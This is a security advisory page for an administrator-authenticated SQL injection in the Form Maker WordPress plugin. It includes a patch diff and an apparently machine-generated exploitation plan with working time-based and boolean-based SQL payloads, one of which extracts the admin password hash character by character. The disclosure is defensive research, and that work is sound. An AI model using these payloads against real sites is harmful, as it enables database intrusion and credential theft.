CVE-2026-11777

Form Maker by 10Web <= 1.15.43 - Authenticated (Administrator+) SQL Injection via 'name' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
1.15.44
Patched in
1d
Time to patch

Description

The Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder plugin for WordPress is vulnerable to generic SQL Injection via the 'name' parameter in all versions up to, and including, 1.15.43 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.15.43
PublishedJune 17, 2026
Last updatedJune 18, 2026
Affected pluginform-maker

What Changed in the Fix

Changes introduced in v1.15.44

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-11777 ## 1. Vulnerability Summary The **Form Maker by 10Web** plugin (up to 1.15.43) is vulnerable to a SQL injection in the `get_table_struct` method within both `FMModelSelect_data_from_db` and `FMModelFormMakerSQLMapping` classes. The vulnerability exists …

Show full research plan

Exploitation Research Plan - CVE-2026-11777

1. Vulnerability Summary

The Form Maker by 10Web plugin (up to 1.15.43) is vulnerable to a SQL injection in the get_table_struct method within both FMModelSelect_data_from_db and FMModelFormMakerSQLMapping classes. The vulnerability exists because user-supplied input from the name parameter is concatenated directly into a SHOW COLUMNS FROM SQL statement without being prepared or properly escaped. While the input passes through sanitize_text_field, this function does not prevent SQL injection when the input is used within backticks or as part of a raw query string.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: select_data_from_db or FormMakerSQLMapping (This plan targets select_data_from_db)
  • Vulnerable Parameter: name
  • Authentication: Required (Administrator+)
  • Preconditions: The attacker must be logged in as an administrator. The plugin must be active.

3. Code Flow

  1. Entry Point: The plugin registers AJAX handlers in form-maker.php via add_action('wp_ajax_select_data_from_db', array($this, 'form_maker_ajax')).
  2. Controller Dispatch: WDFM::form_maker_ajax (in form-maker.php) dispatches the request to the appropriate controller (inferred to be FMAdminControllerSelect_data_from_db).
  3. Model Method: The controller calls FMModelSelect_data_from_db::get_table_struct().
  4. Vulnerable Sink: In admin/models/FMSelectDataFromDb.php:
    • $name is retrieved using WDW_FM_Library(self::PLUGIN)->get('name', NULL).
    • The query is built: $query = 'SHOW COLUMNS FROM ' . $name . '';.
    • The query is executed: $wpdb->get_results($query);.
  5. Injection: By supplying a value for name that includes a closing backtick (`), an attacker can escape the table name context and append arbitrary SQL clauses (like WHERE) supported by the SHOW COLUMNS command.

4. Nonce Acquisition Strategy

The plugin uses a nonce identified by the property $this->nonce = 'nonce_fm' in the WDFM class. This nonce is typically localized for use in admin scripts.

  1. Identify Page: The Form Maker "Forms" management page is a reliable place for the script to be enqueued.
    • URL: /wp-admin/admin.php?page=manage_fm
  2. Navigate: Use browser_navigate to load the page as an authenticated Administrator.
  3. Extract Nonce: Use browser_eval to extract the nonce from the localized JavaScript object.
    • Expected Variable: fm_object.nonce (based on common 10Web plugin patterns) or search for any localized script containing "nonce".
    • Command: browser_eval("window.fm_object ? fm_object.nonce : 'not_found'")

5. Exploitation Strategy

We will use a time-based blind SQL injection because SHOW COLUMNS does not easily support UNION but its WHERE clause allows subqueries.

Step 1: Authentication

Login as an Administrator using wp_login.

Step 2: Nonce Extraction

Navigate to the Form Maker dashboard and extract the nonce_fm value.

Step 3: Payload Construction

We will target the name parameter. The target query is: SHOW COLUMNS FROM \$name``.

  • Payload: wp_users WHERE 1=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a) -- `
  • Encoded Payload: wp_users%60%20WHERE%201%3D1%20AND%20%28SELECT%201%20FROM%20%28SELECT%20SLEEP%285%29%29a%29%20--%20
  • Resulting Query: SHOW COLUMNS FROM wp_users` WHERE 1=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a) -- ``

Step 4: HTTP Request (using http_request)

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=select_data_from_db
    &task=get_table_struct
    &name=wp_users` WHERE 1=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a) -- 
    &nonce_fm=[EXTRACTED_NONCE]
    

6. Test Data Setup

  1. User: Ensure an administrator user exists (standard admin/password).
  2. Plugin: Ensure "Form Maker" is activated.
  3. Form: No specific form needs to be created as the vulnerability is in the database interrogation logic used by the admin UI.

7. Expected Results

  • Success: The HTTP response will be delayed by approximately 5 seconds.
  • Data Leakage (Boolean-based): To extract the admin password hash, we would iterate:
    • name=wp_users WHERE (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 64 -- `
    • If the first character of the hash has an ASCII value > 64, the response will contain the column list for wp_users. If not, it will be an empty result.

8. Verification Steps

After the exploitation attempt, verify the vulnerability exists by checking the source code of the installed plugin:

  1. Use grep to find the vulnerable line in the model:
    grep -n "SHOW COLUMNS FROM" /var/www/html/wp-content/plugins/form-maker/admin/models/FMSelectDataFromDb.php
    
  2. Confirm the version is <= 1.15.43:
    grep "Version:" /var/www/html/wp-content/plugins/form-maker/form-maker.php
    

9. Alternative Approaches

If select_data_from_db is unavailable, use the FormMakerSQLMapping action which hits the same vulnerable logic in admin/models/FMSqlMapping.php:

  • Body:
    action=FormMakerSQLMapping
    &task=get_table_struct
    &name=wp_users` WHERE 1=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a) -- 
    &nonce_fm=[EXTRACTED_NONCE]
    

Additionally, if SLEEP() is blocked, use a boolean-based approach by matching the presence of column names in the JSON response (e.g., searching for "user_login" in the output).

Research Findings
Static analysis — not yet PoC-verified

Summary

The Form Maker by 10Web plugin for WordPress is vulnerable to an authenticated SQL injection via the 'name' parameter in versions up to 1.15.43. This is due to the plugin directly concatenating unsanitized user input into a 'SHOW COLUMNS FROM' query, allowing administrators to execute arbitrary SQL commands through blind injection techniques.

Vulnerable Code

// admin/models/FMSelectDataFromDb.php lines 102-110
    $name = WDW_FM_Library(self::PLUGIN)->get('name', NULL);
    if ( !$name ) {
      return array();
    }
    $con_method = WDW_FM_Library(self::PLUGIN)->get('con_method', NULL);
    $con_type = WDW_FM_Library(self::PLUGIN)->get('con_type', NULL);
    $query = 'SHOW COLUMNS FROM `' . $name . '`';

---

// admin/models/FMSqlMapping.php lines 97-105
    $name = WDW_FM_Library(self::PLUGIN)->get('name', NULL);
    if ( !$name ) {
      return array();
    }
    $con_method = WDW_FM_Library(self::PLUGIN)->get('con_method', NULL);
    $con_type = WDW_FM_Library(self::PLUGIN)->get('con_type', NULL);
    $query = 'SHOW COLUMNS FROM `' . $name . '`';

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/form-maker/1.15.43/admin/models/FMSelectDataFromDb.php /home/deploy/wp-safety.org/data/plugin-versions/form-maker/1.15.44/admin/models/FMSelectDataFromDb.php
--- /home/deploy/wp-safety.org/data/plugin-versions/form-maker/1.15.43/admin/models/FMSelectDataFromDb.php	2019-04-16 08:39:22.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/form-maker/1.15.44/admin/models/FMSelectDataFromDb.php	2026-06-10 12:23:34.000000000 +0000
@@ -79,6 +79,22 @@
   }
 
   /**
+   * Validate a table name against allowed identifier characters and a table list.
+   *
+   * @param string $name
+   * @param array  $tables
+   *
+   * @return bool
+   */
+  private function is_valid_table_name( $name, $tables ) {
+    if ( ! is_string( $name ) || ! preg_match( '/^[A-Za-z0-9_]+$/', $name ) ) {
+      return false;
+    }
+
+    return in_array( $name, (array) $tables, true );
+  }
+
+  /**
    * Get table struct.
    *
    * @return object $table_struct
@@ -91,6 +107,10 @@
     }
     $con_method = WDW_FM_Library(self::PLUGIN)->get('con_method', NULL);
     $con_type = WDW_FM_Library(self::PLUGIN)->get('con_type', NULL);
+    $tables = $this->get_tables();
+    if ( ! $this->is_valid_table_name( $name, $tables ) ) {
+      return array();
+    }
     $query = 'SHOW COLUMNS FROM `' . $name . '`';
     if ( $con_type == 'remote' ) {
       $username = WDW_FM_Library(self::PLUGIN)->get('username', '');
@@ -128,6 +148,10 @@
     if ( !$name ) {
       return array();
     }
+    $tables = $this->get_tables_saved( $con_type, $username, $password, $database, $host );
+    if ( ! $this->is_valid_table_name( $name, $tables ) ) {
+      return array();
+    }
     $query = 'SHOW COLUMNS FROM `' . $name . '`';
     if ( $con_type == 'remote' ) {
       $wpdb_temp = new wpdb($username, $password, $database, $host);

Exploit Outline

The exploit targets the 'select_data_from_db' or 'FormMakerSQLMapping' AJAX actions available to authenticated Administrators. An attacker first logs in and extracts the 'nonce_fm' security token from the admin interface. They then send a POST request to admin-ajax.php with the 'name' parameter containing a SQL payload designed to escape the backtick identifier (e.g., `wp_users` WHERE 1=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a) -- `). Because the input is used directly in a 'SHOW COLUMNS FROM' query, the attacker can leverage the WHERE clause support in that command to perform time-based or boolean-based blind SQL injection to exfiltrate database contents.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.